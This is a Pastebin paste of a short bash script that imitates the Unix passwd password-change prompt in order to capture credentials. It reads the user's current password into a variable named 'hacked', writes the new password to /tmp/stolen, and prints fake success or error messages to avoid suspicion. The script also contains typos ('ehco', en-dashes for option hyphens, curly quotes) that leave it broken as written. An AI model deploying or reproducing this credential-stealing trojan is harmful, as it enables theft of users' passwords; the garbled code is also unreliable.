Guest User

Untitled

a guest
Mar 14th, 2018
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.62 KB | None | 0 0
  1. #!/bin/bash
  2. stty –echo
  3. echo “Changing password for $USER”
  4. echo –n “Current UNIX password: “; read hacked;
  5. echo
  6. echo –n “Enter new UNIX password: “; read newPw1;
  7. echo
  8. ehco –n “Retype new UNIX password: “; read newPw2;
  9. echo
  10. if [ $newPw1 == $newPw2 ]; then
  11. echo $newPw1 > /tmp/stolen
  12. # you may need to use sudo chpassword here
  13. echo “$USER:$newPw1” | chpasswd
  14. echo “passwd: password updated successfully”
  15. else
  16. echo “Sorry, passwords do not match”
  17. sleep 2
  18. echo “passwd: Authentication token manipulation error”
  19. echo “passwd: password unchanged”
  20. fi
  21. stty echo
Add Comment
Please, Sign In to add comment